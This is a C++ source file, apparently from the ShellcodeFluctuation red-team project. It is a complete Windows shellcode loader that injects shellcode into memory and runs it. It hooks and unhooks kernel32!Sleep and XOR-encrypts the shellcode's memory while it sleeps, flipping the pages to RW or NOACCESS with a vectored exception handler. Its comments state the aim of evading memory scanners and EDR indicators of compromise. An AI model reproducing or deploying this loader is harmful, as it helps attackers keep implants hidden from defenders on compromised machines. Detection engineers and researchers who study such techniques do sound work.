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mgeeky-ShellcodeFluctuation/ShellcodeFluctuation/main.cpp
T

554 lines
17 KiB
C++

#include "header.h"
#include <intrin.h>
#include <random>
HookedSleep g_hookedSleep;
FluctuationMetadata g_fluctuationData;
TypeOfFluctuation g_fluctuate;
void WINAPI MySleep(DWORD dwMilliseconds)
{
const LPVOID caller = (LPVOID)_ReturnAddress();
//
// Dynamically determine where the shellcode resides.
// Of course that we could reuse information collected in `injectShellcode()`
// right after VirtualAlloc, however the below invocation is a step towards
// making the implementation self-aware and independent of the loader.
//
initializeShellcodeFluctuation(caller);
//
// Encrypt (XOR32) shellcode's memory allocation and flip its memory pages to RW
//
shellcodeEncryptDecrypt(caller);
log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
HookTrampolineBuffers buffers = { 0 };
buffers.originalBytes = g_hookedSleep.sleepStub;
buffers.originalBytesSize = sizeof(g_hookedSleep.sleepStub);
//
// Unhook kernel32!Sleep to evade hooked Sleep IOC.
// We leverage the fact that the return address left on the stack will make the thread
// get back to our handler anyway.
//
fastTrampoline(false, (BYTE*)::Sleep, (void*)&MySleep, &buffers);
// Perform sleep emulating originally hooked functionality.
::Sleep(dwMilliseconds);
if (g_fluctuate == FluctuateToRW)
{
//
// Decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX
//
shellcodeEncryptDecrypt((LPVOID)caller);
}
else
{
//
// If we fluctuate to PAGE_NOACCESS there is no need to decrypt and revert back memory protections just yet.
// We await for Access Violation exception to occur, catch it and from within the exception handler will adjust
// its protection to resume execution.
//
}
//
// Re-hook kernel32!Sleep
//
fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep);
}
std::vector<MEMORY_BASIC_INFORMATION> collectMemoryMap(HANDLE hProcess, DWORD Type)
{
std::vector<MEMORY_BASIC_INFORMATION> out;
const size_t MaxSize = (sizeof(ULONG_PTR) == 4) ? ((1ULL << 31) - 1) : ((1ULL << 63) - 1);
uint8_t* address = 0;
while (reinterpret_cast<size_t>(address) < MaxSize)
{
MEMORY_BASIC_INFORMATION mbi = { 0 };
if (!VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)))
{
break;
}
if ((mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_READWRITE)
&& ((mbi.Type & Type) != 0))
{
out.push_back(mbi);
}
address += mbi.RegionSize;
}
return out;
}
void initializeShellcodeFluctuation(const LPVOID caller)
{
if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr == nullptr && isShellcodeThread(caller))
{
auto memoryMap = collectMemoryMap(GetCurrentProcess());
//
// Iterate over memory pages to find allocation containing the caller, being
// presumably our Shellcode's thread.
//
for (const auto& mbi : memoryMap)
{
if (reinterpret_cast<uintptr_t>(caller) > reinterpret_cast<uintptr_t>(mbi.BaseAddress)
&& reinterpret_cast<uintptr_t>(caller) < (reinterpret_cast<uintptr_t>(mbi.BaseAddress) + mbi.RegionSize))
{
//
// Store memory boundary of our shellcode somewhere globally.
//
g_fluctuationData.shellcodeAddr = mbi.BaseAddress;
g_fluctuationData.shellcodeSize = mbi.RegionSize;
g_fluctuationData.currentlyEncrypted = false;
std::random_device dev;
std::mt19937 rng(dev());
std::uniform_int_distribution<std::mt19937::result_type> dist4GB(0, 0xffffffff);
//
// Use random 32bit key for XORing.
//
g_fluctuationData.encodeKey = dist4GB(rng);
log("[+] Fluctuation initialized.");
log(" Shellcode resides at 0x",
std::hex, std::setw(8), std::setfill('0'), mbi.BaseAddress,
" and occupies ", std::dec, mbi.RegionSize,
" bytes. XOR32 key: 0x", std::hex, std::setw(8), std::setfill('0'), g_fluctuationData.encodeKey, "\n");
return;
}
}
log("[!] Could not initialize shellcode fluctuation!");
::ExitProcess(0);
}
}
void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey)
{
uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);
auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;
for (size_t i = 0; i < bufSizeRounded; i++)
{
buf32[i] ^= xorKey;
}
for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)
{
buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);
}
}
bool isShellcodeThread(LPVOID address)
{
MEMORY_BASIC_INFORMATION mbi = { 0 };
if (VirtualQuery(address, &mbi, sizeof(mbi)))
{
//
// To verify whether address belongs to the shellcode's allocation, we can simply
// query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.
//
if (mbi.Type == MEM_PRIVATE)
{
const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;
return ((mbi.Protect & PAGE_EXECUTE_READ)
|| (mbi.Protect & PAGE_EXECUTE_READWRITE)
|| (mbi.Protect & expectedProtection));
}
}
return false;
}
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
{
#ifdef _WIN64
uint8_t trampoline[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
0x41, 0xFF, 0xE2 // jmp r10
};
uint64_t addr = (uint64_t)(jumpAddress);
memcpy(&trampoline[2], &addr, sizeof(addr));
#else
uint8_t trampoline[] = {
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr
0xFF, 0xE0 // jmp eax
};
uint32_t addr = (uint32_t)(jumpAddress);
memcpy(&trampoline[1], &addr, sizeof(addr));
#endif
DWORD dwSize = sizeof(trampoline);
DWORD oldProt = 0;
bool output = false;
if (installHook)
{
if (buffers != NULL)
{
if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0)
return false;
memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);
}
if (::VirtualProtect(
addressToHook,
dwSize,
PAGE_EXECUTE_READWRITE,
&oldProt
))
{
memcpy(addressToHook, trampoline, dwSize);
output = true;
}
}
else
{
if (buffers == NULL)
return false;
if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0)
return false;
dwSize = buffers->originalBytesSize;
if (::VirtualProtect(
addressToHook,
dwSize,
PAGE_EXECUTE_READWRITE,
&oldProt
))
{
memcpy(addressToHook, buffers->originalBytes, dwSize);
output = true;
}
}
static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL;
if (!pNtFlushInstructionCache)
{
pNtFlushInstructionCache = (typeNtFlushInstructionCache)GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache");
}
pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize);
::VirtualProtect(
addressToHook,
dwSize,
oldProt,
&oldProt
);
return output;
}
bool hookSleep()
{
HookTrampolineBuffers buffers = { 0 };
buffers.previousBytes = g_hookedSleep.sleepStub;
buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub);
g_hookedSleep.origSleep = reinterpret_cast<typeSleep>(::Sleep);
if (!fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep, &buffers))
return false;
return true;
}
void shellcodeEncryptDecrypt(LPVOID callerAddress)
{
if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)
{
if (!isShellcodeThread(callerAddress))
return;
DWORD oldProt = 0;
if (!g_fluctuationData.currentlyEncrypted
|| (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA))
{
::VirtualProtect(
g_fluctuationData.shellcodeAddr,
g_fluctuationData.shellcodeSize,
PAGE_READWRITE,
&g_fluctuationData.protect
);
log("[>] Flipped to RW.");
}
log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding...");
xor32(
reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),
g_fluctuationData.shellcodeSize,
g_fluctuationData.encodeKey
);
if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)
{
//
// Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE
// and our previously set up vectored exception handler should catch invalid memory access, flip back memory
// protections and resume the execution.
//
// Be sure to check out ORCA666's original implementation here:
// https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285
//
::VirtualProtect(
g_fluctuationData.shellcodeAddr,
g_fluctuationData.shellcodeSize,
PAGE_NOACCESS,
&oldProt
);
log("[>] Flipped to No Access.\n");
}
else if (g_fluctuationData.currentlyEncrypted)
{
::VirtualProtect(
g_fluctuationData.shellcodeAddr,
g_fluctuationData.shellcodeSize,
g_fluctuationData.protect,
&oldProt
);
log("[<] Flipped back to RX/RWX.\n");
}
g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;
}
}
LONG NTAPI VEHHandler(PEXCEPTION_POINTERS pExceptInfo)
{
if (pExceptInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
{
#ifdef _WIN64
ULONG_PTR caller = pExceptInfo->ContextRecord->Rip;
#else
ULONG_PTR caller = pExceptInfo->ContextRecord->Eip;
#endif
log("[.] Access Violation occured at 0x", std::hex, std::setw(8), std::setfill('0'), caller);
//
// Check if the exception's instruction pointer (EIP/RIP) points back to our shellcode allocation.
// If it does, it means our shellcode attempted to run but was unable to due to the PAGE_NOACCESS.
//
if ((caller >= (ULONG_PTR)g_fluctuationData.shellcodeAddr)
&& (caller <= ((ULONG_PTR)g_fluctuationData.shellcodeAddr + g_fluctuationData.shellcodeSize)))
{
log("[+] Shellcode wants to Run. Restoring to RX and Decrypting\n");
//
// We'll now decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX.
//
shellcodeEncryptDecrypt((LPVOID)caller);
//
// Tell the system everything's OK and we can carry on.
//
return EXCEPTION_CONTINUE_EXECUTION;
}
}
log("[.] Unhandled exception occured. Not the one due to PAGE_NOACCESS :(");
//
// Oops, something else just happened and that wasn't due to our PAGE_NOACCESS trick.
//
return EXCEPTION_CONTINUE_SEARCH;
}
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode)
{
HandlePtr file(CreateFileA(
path,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL
), &::CloseHandle);
if (INVALID_HANDLE_VALUE == file.get())
return false;
DWORD highSize;
DWORD readBytes = 0;
DWORD lowSize = GetFileSize(file.get(), &highSize);
shellcode.resize(lowSize, 0);
return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL);
}
void runShellcode(LPVOID param)
{
auto func = ((void(*)())param);
//
// Jumping to shellcode. Look at the coment in injectShellcode() describing why we opted to jump
// into shellcode in a classical manner instead of fancy hooking
// ntdll!RtlUserThreadStart+0x21 like in ThreadStackSpoofer example.
//
func();
}
bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
{
//
// Firstly we allocate RW page to avoid RWX-based IOC detections
//
auto alloc = ::VirtualAlloc(
NULL,
shellcode.size() + 1,
MEM_COMMIT,
PAGE_READWRITE
);
if (!alloc)
return false;
memcpy(alloc, shellcode.data(), shellcode.size());
DWORD old;
//
// Then we change that protection to RX
//
if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old))
return false;
/*
* We're not setting these pointers to let the hooked sleep handler figure them out itself.
*
g_fluctuationData.shellcodeAddr = alloc;
g_fluctuationData.shellcodeSize = shellcode.size();
g_fluctuationData.protect = Shellcode_Memory_Protection;
*/
shellcode.clear();
//
// Example provided in https://github.com/mgeeky/ThreadStackSpoofer showed how we can start
// our shellcode from temporarily hooked ntdll!RtlUserThreadStart+0x21 .
//
// That approached was a bit flawed due to the fact, the as soon as we introduce a hook within module,
// even when we immediately unhook it the system allocates a page of memory (4096 bytes) of type MEM_PRIVATE
// inside of a shared library allocation that comprises of MEM_IMAGE/MEM_MAPPED pool.
//
// Memory scanners such as Moneta are sensitive to scanning memory mapped PE DLLs and finding amount of memory
// labeled as MEM_PRIVATE within their region, considering this (correctly!) as a "Modified Code" anomaly.
//
// We're unable to evade this detection for kernel32!Sleep however we can when it comes to ntdll. Instead of
// running our shellcode from a legitimate user thread callback, we can simply run a thread pointing to our
// method and we'll instead jump to the shellcode from that method.
//
thread.reset(::CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)runShellcode,
alloc,
0,
0
));
return (NULL != thread.get());
}
int main(int argc, char** argv)
{
if (argc < 3)
{
log("Usage: ShellcodeFluctuation.exe <shellcode> <fluctuate>");
log("<fluctuate>:\n\t-1 - Read shellcode but dont inject it. Run in an infinite loop.");
log("\t0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything");
log("\t1 - Inject shellcode and start fluctuating its memory with standard PAGE_READWRITE.");
log("\t2 - Inject shellcode and start fluctuating its memory with ORCA666's PAGE_NOACCESS.");
return 1;
}
std::vector<uint8_t> shellcode;
try
{
// Don't you play tricks with values outside of this enum, I'm feeling like catching all your edge cases...
g_fluctuate = (TypeOfFluctuation)atoi(argv[2]);
}
catch (...)
{
log("[!] Invalid <fluctuate> mode provided");
return 1;
}
log("[.] Reading shellcode bytes...");
if (!readShellcode(argv[1], shellcode))
{
log("[!] Could not open shellcode file! Error: ", ::GetLastError());
return 1;
}
if (g_fluctuate != NoFluctuation)
{
log("[.] Hooking kernel32!Sleep...");
if (!hookSleep())
{
log("[!] Could not hook kernel32!Sleep!");
return 1;
}
}
else
{
log("[.] Shellcode will not fluctuate its memory pages protection.");
}
if (g_fluctuate == NoFluctuation)
{
log("[.] Entering infinite loop (not injecting the shellcode) for memory IOCs examination.");
log("[.] PID = ", std::dec, GetCurrentProcessId());
while (true) {}
}
else if (g_fluctuate == FluctuateToNA)
{
log("\n[.] Initializing VEH Handler to intercept invalid memory accesses due to PAGE_NOACCESS.");
log(" This is a re-implementation of ORCA666's work presented in his https://github.com/ORCA666/0x41 project.\n");
AddVectoredExceptionHandler(1, &VEHHandler);
}
log("[.] Injecting shellcode...");
HandlePtr thread(NULL, &::CloseHandle);
if (!injectShellcode(shellcode, thread))
{
log("[!] Could not inject shellcode! Error: ", ::GetLastError());
return 1;
}
log("[+] Shellcode is now running. PID = ", std::dec, GetCurrentProcessId());
WaitForSingleObject(thread.get(), INFINITE);
}